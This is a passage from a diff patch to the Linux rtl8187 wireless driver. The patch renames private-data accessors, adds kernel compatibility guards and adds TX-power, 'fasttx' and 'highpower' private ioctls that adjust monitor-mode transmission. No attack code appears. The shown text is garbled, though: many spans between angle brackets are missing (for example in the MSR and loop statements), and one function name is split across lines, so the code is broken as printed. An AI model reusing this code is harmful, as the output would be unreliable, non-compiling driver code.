*wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +490,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +498,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +518,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +568,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +606,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +624,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +654,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +692,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +744,55 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "highpower" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + + { + SIOCIWFIRSTPRIV + 0x3, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_highpower, /*SIOCIWSECONDPRIV*/ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +805,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-21 22:43:30.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187_core.c 2010-05-19 22:18:55.642702808 -0700 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct 